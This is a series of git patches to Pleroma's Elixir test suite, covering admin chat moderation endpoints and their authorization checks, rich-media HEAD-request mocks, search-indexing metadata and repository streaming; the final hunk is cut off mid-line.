admin} do + conn + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{message.id}") + |> json_response_and_validate_schema(:ok) + + refute Activity.get_by_id(message.id) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted chat message ##{message.id}" + end + + test "returns 404 when the chat message does not exist", %{conn: conn} do + conn = delete(conn, "/api/pleroma/admin/chats/test/messages/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end +end -- cgit v1.2.3 From fb0de073439b5e3be823e736b44608e80f1027f1 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 20:23:33 -0500 Subject: AdminAPI: list chats for a user --- .../controllers/admin_api_controller_test.exs | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) (limited to 'test') diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..cf5637246 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1510,6 +1510,24 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do end end + describe "GET /api/pleroma/admin/users/:nickname/chats" do + setup do + user = insert(:user) + + insert(:chat, user: user) + insert(:chat, user: user) + insert(:chat, user: user) + + %{user: user} + end + + test "renders user's statuses", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") + + assert json_response(conn, 200) |> length() == 3 + end + end + describe "GET /api/pleroma/admin/moderation_log" do setup do moderator = insert(:user, is_moderator: true) -- cgit v1.2.3 From f13b52a703d5c60cf12b2fff69f458e5c467c783 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 19:39:34 -0500 Subject: AdminAPI: list messages in a chat --- .../admin_api/controllers/chat_controller_test.exs | 54 ++++++++++++++++++++++ 1 file changed, 54 insertions(+) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 4527437af..f61e2a1fa 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -8,9 +8,11 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do import Pleroma.Factory alias Pleroma.Activity + alias Pleroma.Chat alias Pleroma.Config alias Pleroma.ModerationLog alias Pleroma.Repo + alias Pleroma.Web.CommonAPI setup do admin = insert(:user, is_admin: true) @@ -50,4 +52,56 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} end end + + describe "GET /api/pleroma/admin/chats/:id/messages" do + test "it paginates", %{conn: conn} do + user = insert(:user) + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + assert length(result) == 20 + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + |> json_response_and_validate_schema(200) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + end + end end -- cgit v1.2.3 From 9dd0b23da424c380a37897d8bf69ab241efa6f91 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 19:49:46 -0500 Subject: AdminAPI: show chat --- test/web/admin_api/controllers/chat_controller_test.exs | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index f61e2a1fa..63c195b99 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -104,4 +104,20 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do assert length(result) == 3 end end + + describe "GET /api/pleroma/admin/chats/:id" do + test "it returns a chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + end + end end -- cgit v1.2.3 From 02d70228b566d5de2cbdd6d1f9958caf2db173f1 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 20:40:36 -0500 Subject: AdminAPI: fix delete chat message --- .../admin_api/controllers/chat_controller_test.exs | 39 ++++++++++++---------- 1 file changed, 22 insertions(+), 17 deletions(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 63c195b99..9393dd49b 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -7,9 +7,10 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do import Pleroma.Factory - alias Pleroma.Activity alias Pleroma.Chat + alias Pleroma.Chat.MessageReference alias Pleroma.Config + alias Pleroma.Object alias Pleroma.ModerationLog alias Pleroma.Repo alias Pleroma.Web.CommonAPI @@ -27,29 +28,33 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do - setup do - chat = insert(:chat) - message = insert(:chat_message_activity, chat: chat) - %{chat: chat, message: message} - end + test "it deletes a message from the chat", %{conn: conn, admin: admin} do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) - test "deletes chat message", %{conn: conn, chat: chat, message: message, admin: admin} do - conn - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{message.id}") - |> json_response_and_validate_schema(:ok) + cm_ref = MessageReference.for_chat_and_object(chat, object) - refute Activity.get_by_id(message.id) + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) log_entry = Repo.one(ModerationLog) assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted chat message ##{message.id}" - end - - test "returns 404 when the chat message does not exist", %{conn: conn} do - conn = delete(conn, "/api/pleroma/admin/chats/test/messages/test") + "@#{admin.nickname} deleted chat message ##{cm_ref.id}" - assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) end end -- cgit v1.2.3 From 67726453f85eb5bb51bf82e7decf23a4f1d184af Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 21:12:21 -0500 Subject: Credo fix --- test/web/admin_api/controllers/chat_controller_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 9393dd49b..bca9d440d 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -10,8 +10,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do alias Pleroma.Chat alias Pleroma.Chat.MessageReference alias Pleroma.Config - alias Pleroma.Object alias Pleroma.ModerationLog + alias Pleroma.Object alias Pleroma.Repo alias Pleroma.Web.CommonAPI -- cgit v1.2.3 From e229536e5cca65d811f85d25c86bf3c92b3d8c45 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Thu, 10 Sep 2020 01:44:32 -0500 Subject: Chat Moderation: use explicit `sender` and `recipient` fields --- test/web/admin_api/controllers/chat_controller_test.exs | 3 +++ 1 file changed, 3 insertions(+) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index bca9d440d..840f18aa2 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -123,6 +123,9 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do |> json_response_and_validate_schema(200) assert result["id"] == to_string(chat.id) + assert %{} = result["sender"] + assert %{} = result["receiver"] + refute result["account"] end end end -- cgit v1.2.3 From dfb831ca39db3098d6d585448a6ff8e938e51e8c Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Fri, 11 Sep 2020 14:00:34 -0500 Subject: Chat moderation: add tests for unauthorized access --- .../controllers/admin_api_controller_test.exs | 29 ++++++++ .../admin_api/controllers/chat_controller_test.exs | 80 +++++++++++++++++++++- 2 files changed, 108 insertions(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index cf5637246..dbeeb7f3d 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1528,6 +1528,35 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do end end + describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do + setup do + user = insert(:user) + insert(:chat, user: user) + %{conn: conn} = oauth_access(["read:chats"]) + %{conn: conn, user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do + setup do + user = insert(:user) + insert(:chat, user: user) + %{conn: build_conn(), user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + describe "GET /api/pleroma/admin/moderation_log" do setup do moderator = insert(:user, is_moderator: true) diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 840f18aa2..ccca3521a 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -15,7 +15,7 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do alias Pleroma.Repo alias Pleroma.Web.CommonAPI - setup do + defp admin_setup do admin = insert(:user, is_admin: true) token = insert(:oauth_admin_token, user: admin) @@ -28,6 +28,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do: admin_setup() + test "it deletes a message from the chat", %{conn: conn, admin: admin} do user = insert(:user) recipient = insert(:user) @@ -59,6 +61,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "GET /api/pleroma/admin/chats/:id/messages" do + setup do: admin_setup() + test "it paginates", %{conn: conn} do user = insert(:user) recipient = insert(:user) @@ -111,6 +115,8 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "GET /api/pleroma/admin/chats/:id" do + setup do: admin_setup() + test "it returns a chat", %{conn: conn} do user = insert(:user) other_user = insert(:user) @@ -128,4 +134,76 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do refute result["account"] end end + + describe "unauthorized chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: conn} = oauth_access(["read:chats", "write:chats"]) + %{conn: conn, chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + + describe "unauthenticated chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: build_conn(), chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + end -- cgit v1.2.3 From bc86d0a906e58becb94c5a73552f90abbe494c28 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Fri, 11 Sep 2020 14:29:56 -0500 Subject: Chat moderation: fix formatting --- test/web/admin_api/controllers/chat_controller_test.exs | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index ccca3521a..e81484ce6 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -149,7 +149,11 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do %{conn: conn, chat: chat, cm_ref: cm_ref} end - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do conn |> put_req_header("content-type", "application/json") |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") @@ -184,7 +188,11 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do %{conn: build_conn(), chat: chat, cm_ref: cm_ref} end - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{conn: conn, chat: chat, cm_ref: cm_ref} do + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do conn |> put_req_header("content-type", "application/json") |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") @@ -205,5 +213,4 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do |> json_response(403) end end - end -- cgit v1.2.3 From f70335002df9b2b3f47f0ccaed6aaeebfb14435f Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 14:45:58 +0300 Subject: RichMedia: Do a HEAD request to check content type/length This shouldn't be too expensive, since the connections are pooled, but it should save us some bandwidth since we won't fetch non-html files and files that are too large for us to process (especially since you can't cancel a request without closing the connection with HTTP1). --- test/support/http_request_mock.ex | 17 +++++++++++++++++ test/web/rich_media/parser_test.exs | 29 +++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+) (limited to 'test') diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index 344e27f13..cb022333f 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -1262,4 +1262,21 @@ defmodule HttpRequestMock do inspect(headers) }"} end + + # Most of the rich media mocks are missing HEAD requests, so we just return 404. + @rich_media_mocks [ + "https://example.com/ogp", + "https://example.com/ogp-missing-data", + "https://example.com/twitter-card" + ] + def head(url, _query, _body, _headers) when url in @rich_media_mocks do + {:ok, %Tesla.Env{status: 404, body: ""}} + end + + def head(url, query, body, headers) do + {:error, + "Mock response not implemented for HEAD #{inspect(url)}, #{query}, #{inspect(body)}, #{ + inspect(headers) + }"} + end end diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index 21ae35f8b..d65a63121 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -56,6 +56,27 @@ defmodule Pleroma.Web.RichMedia.ParserTest do %{method: :get, url: "http://example.com/error"} -> {:error, :overload} + + %{ + method: :head, + url: "http://example.com/huge-page" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "2000001"}, {"content-type", "text/html"}] + } + + %{ + method: :head, + url: "http://example.com/pdf-file" + } -> + %Tesla.Env{ + status: 200, + headers: [{"content-length", "1000000"}, {"content-type", "application/pdf"}] + } + + %{method: :head} -> + %Tesla.Env{status: 404, body: "", headers: []} end) :ok @@ -144,4 +165,12 @@ defmodule Pleroma.Web.RichMedia.ParserTest do test "returns error if getting page was not successful" do assert {:error, :overload} = Parser.parse("http://example.com/error") end + + test "does a HEAD request to check if the body is too large" do + assert {:error, body_too_large} = Parser.parse("http://example.com/huge-page") + end + + test "does a HEAD request to check if the body is html" do + assert {:error, {:content_type, _}} = Parser.parse("http://example.com/pdf-file") + end end -- cgit v1.2.3 From 738685a6298d7bd883fe81477b2e25ec94822e02 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 14 Sep 2020 11:56:00 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/web/rich_media/parser_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/rich_media/parser_test.exs b/test/web/rich_media/parser_test.exs index d65a63121..6d00c2af5 100644 --- a/test/web/rich_media/parser_test.exs +++ b/test/web/rich_media/parser_test.exs @@ -167,7 +167,7 @@ defmodule Pleroma.Web.RichMedia.ParserTest do end test "does a HEAD request to check if the body is too large" do - assert {:error, body_too_large} = Parser.parse("http://example.com/huge-page") + assert {:error, :body_too_large} = Parser.parse("http://example.com/huge-page") end test "does a HEAD request to check if the body is html" do -- cgit v1.2.3 From d31f0393bfaa733cf68058c21294874daa286e0a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 14 Sep 2020 12:06:08 -0500 Subject: Validate Welcome Chat message works with Simple policy applied to local instance --- test/user_test.exs | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) (limited to 'test') diff --git a/test/user_test.exs b/test/user_test.exs index 50f72549e..a910226b2 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -440,6 +440,45 @@ defmodule Pleroma.UserTest do assert activity.actor == welcome_user.ap_id end + setup do: + clear_config(:mrf_simple, + media_removal: [], + media_nsfw: [], + federated_timeline_removal: [], + report_removal: [], + reject: [], + followers_only: [], + accept: [], + avatar_removal: [], + banner_removal: [], + reject_deletes: [] + ) + + setup do: + clear_config(:mrf, + policies: [ + Pleroma.Web.ActivityPub.MRF.SimplePolicy + ] + ) + + test "it sends a welcome chat message when Simple policy applied to local instance" do + Pleroma.Config.put([:mrf_simple, :media_nsfw], ["localhost"]) + + welcome_user = insert(:user) + Pleroma.Config.put([:welcome, :chat_message, :enabled], true) + Pleroma.Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) + Pleroma.Config.put([:welcome, :chat_message, :message], "Hello, this is a chat message") + + cng = User.register_changeset(%User{}, @full_user_data) + {:ok, registered_user} = User.register(cng) + ObanHelpers.perform_all() + + activity = Repo.one(Pleroma.Activity) + assert registered_user.ap_id in activity.recipients + assert Object.normalize(activity).data["content"] =~ "chat message" + assert activity.actor == welcome_user.ap_id + end + test "it sends a welcome email message if it is set" do welcome_user = insert(:user) Pleroma.Config.put([:welcome, :email, :enabled], true) -- cgit v1.2.3 From 38b2db297b3207607072347b408dc7eacbac600e Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 13:18:11 -0400 Subject: search indexing metadata respects discoverable flag --- test/web/metadata/metadata_test.exs | 19 +++++++++++++++++-- test/web/metadata/restrict_indexing_test.exs | 8 +++++++- 2 files changed, 24 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 9d3121b7b..fe3009628 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -18,17 +18,32 @@ defmodule Pleroma.Web.MetadataTest do test "for local user" do user = insert(:user) + assert Pleroma.Web.Metadata.build_tags(%{user: user}) =~ + "" + end + + test "for local user set to discoverable" do + user = insert(:user, discoverable: true) + refute Pleroma.Web.Metadata.build_tags(%{user: user}) =~ "" end end describe "no metadata for private instances" do - test "for local user" do + test "for local user set to discoverable" do clear_config([:instance, :public], false) - user = insert(:user, bio: "This is my secret fedi account bio") + user = insert(:user, bio: "This is my secret fedi account bio", discoverable: true) assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) end + + test "search exclusion metadata is included" do + clear_config([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio") + + assert "" == + Pleroma.Web.Metadata.build_tags(%{user: user}) + end end end diff --git a/test/web/metadata/restrict_indexing_test.exs b/test/web/metadata/restrict_indexing_test.exs index aad0bac42..6b3a65372 100644 --- a/test/web/metadata/restrict_indexing_test.exs +++ b/test/web/metadata/restrict_indexing_test.exs @@ -14,8 +14,14 @@ defmodule Pleroma.Web.Metadata.Providers.RestrictIndexingTest do test "for local user" do assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ - user: %Pleroma.User{local: true} + user: %Pleroma.User{local: true, discoverable: true} }) == [] end + + test "for local user when discoverable is false" do + assert Pleroma.Web.Metadata.Providers.RestrictIndexing.build_tags(%{ + user: %Pleroma.User{local: true, discoverable: false} + }) == [{:meta, [name: "robots", content: "noindex, noarchive"], []}] + end end end -- cgit v1.2.3 From f900a40d5dc4285977bd92f3792ad04a2f34ddcf Mon Sep 17 00:00:00 2001 From: stwf Date: Mon, 14 Sep 2020 13:55:49 -0400 Subject: fix credo warning --- test/web/metadata/metadata_test.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) (limited to 'test') diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index fe3009628..054844597 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -42,7 +42,7 @@ defmodule Pleroma.Web.MetadataTest do clear_config([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") - assert "" == + assert ~s() == Pleroma.Web.Metadata.build_tags(%{user: user}) end end -- cgit v1.2.3 From 3ab59a6f3c7b7bae2e69d1a8d1bf484d039a5420 Mon Sep 17 00:00:00 2001 From: eugenijm Date: Tue, 15 Sep 2020 13:00:07 +0300 Subject: Mastodon API: fix the public timeline returning an error when the `reply_visibility` parameter is set to `self` for an unauthenticated user --- test/web/activity_pub/activity_pub_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) (limited to 'test') diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index d8caa0b00..7bdad3810 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -1810,6 +1810,14 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do |> Enum.map(& &1.id) assert activities_ids == [] + + activities_ids = + %{} + |> Map.put(:reply_visibility, "self") + |> Map.put(:reply_filtering_user, nil) + |> ActivityPub.fetch_public_activities() + + assert activities_ids == [] end test "home timeline", %{users: %{u1: user}} do -- cgit v1.2.3 From f879d07fa1a046b5aa33de8e445b1ca803fa1d04 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Tue, 15 Sep 2020 15:32:49 +0300 Subject: fixed tests --- test/marker_test.exs | 4 ++-- test/repo_test.exs | 4 +++- test/web/mastodon_api/controllers/account_controller_test.exs | 5 ++++- test/web/mastodon_api/controllers/marker_controller_test.exs | 2 +- test/web/mastodon_api/views/account_view_test.exs | 2 +- 5 files changed, 11 insertions(+), 6 deletions(-) (limited to 'test') diff --git a/test/marker_test.exs b/test/marker_test.exs index 5b6d0b4a4..7b3943c7b 100644 --- a/test/marker_test.exs +++ b/test/marker_test.exs @@ -33,8 +33,8 @@ defmodule Pleroma.MarkerTest do test "returns user markers" do user = insert(:user) marker = insert(:marker, user: user) - insert(:notification, user: user) - insert(:notification, user: user) + insert(:notification, user: user, activity: insert(:note_activity)) + insert(:notification, user: user, activity: insert(:note_activity)) insert(:marker, timeline: "home", user: user) assert Marker.get_markers( diff --git a/test/repo_test.exs b/test/repo_test.exs index 92e827c95..72c0b5071 100644 --- a/test/repo_test.exs +++ b/test/repo_test.exs @@ -37,7 +37,9 @@ defmodule Pleroma.RepoTest do test "get one-to-many assoc from repo" do user = insert(:user) - notification = refresh_record(insert(:notification, user: user)) + + notification = + refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} end diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs index 17a1e7d66..f7f1369e4 100644 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/web/mastodon_api/controllers/account_controller_test.exs @@ -1442,7 +1442,10 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do describe "verify_credentials" do test "verify_credentials" do %{user: user, conn: conn} = oauth_access(["read:accounts"]) - [notification | _] = insert_list(7, :notification, user: user) + + [notification | _] = + insert_list(7, :notification, user: user, activity: insert(:note_activity)) + Pleroma.Notification.set_read_up_to(user, notification.id) conn = get(conn, "/api/v1/accounts/verify_credentials") diff --git a/test/web/mastodon_api/controllers/marker_controller_test.exs b/test/web/mastodon_api/controllers/marker_controller_test.exs index 6dd40fb4a..9f0481120 100644 --- a/test/web/mastodon_api/controllers/marker_controller_test.exs +++ b/test/web/mastodon_api/controllers/marker_controller_test.exs @@ -11,7 +11,7 @@ defmodule Pleroma.Web.MastodonAPI.MarkerControllerTest do test "gets markers with correct scopes", %{conn: conn} do user = insert(:user) token = insert(:oauth_token, user: user, scopes: ["read:statuses"]) - insert_list(7, :notification, user: user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) {:ok, %{"notifications" => marker}} = Pleroma.Marker.upsert( diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 9f22f9dcf..c5f491d6b 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -448,7 +448,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do test "shows unread_count only to the account owner" do user = insert(:user) - insert_list(7, :notification, user: user) + insert_list(7, :notification, user: user, activity: insert(:note_activity)) other_user = insert(:user) user = User.get_cached_by_ap_id(user.ap_id) -- cgit v1.2.3 From 599f8bb152ca0669d17baa5f313f00f0791209b6 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Wed, 16 Sep 2020 09:47:18 +0300 Subject: RepoStreamer.chunk_stream -> Repo.chunk_stream --- test/repo_test.exs | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) (limited to 'test') diff --git a/test/repo_test.exs b/test/repo_test.exs index 72c0b5071..155791be2 100644 --- a/test/repo_test.exs +++ b/test/repo_test.exs @@ -49,4 +49,32 @@ defmodule Pleroma.RepoTest do assert Repo.get_assoc(token, :user) == {:error, :not_found} end end + + describe "chunk_stream/3" do + test "fetch records one-by-one" do + users = insert_list(50, :user) + + {fetch_users, 50} = + from(t in User) + |> Repo.chunk_stream(5) + |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> + {acc ++ [user], count + 1} + end) + + assert users == fetch_users + end + + test "fetch records in bulk" do + users = insert_list(50, :user) + + {fetch_users, 10} = + from(t in User) + |> Repo.chunk_stream(5, :batches) + |> Enum.reduce({[], 0}, fn users, {acc, count} -> + {acc ++ users, count + 1} + end) + + assert users == fetch_users + end + end end -- cgit v1.2.3 From 7a88b726bf81e1610ade2b07ffd6af672b701600 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 16 Sep 2020 17:29:16 +0200 Subject: User: Remote users don't need to be confirmed or approved --- test/user_test.exs | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) (limited to 'test') diff --git a/test/user_test.exs b/test/user_test.exs index a910226b2..060918d71 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1676,7 +1676,7 @@ defmodule Pleroma.UserTest do assert User.visible_for(user, user) == :visible end - test "returns false when the account is unauthenticated and auth is required" do + test "returns false when the account is unconfirmed and confirmation is required" do Pleroma.Config.put([:instance, :account_activation_required], true) user = insert(:user, local: true, confirmation_pending: true) @@ -1685,14 +1685,23 @@ defmodule 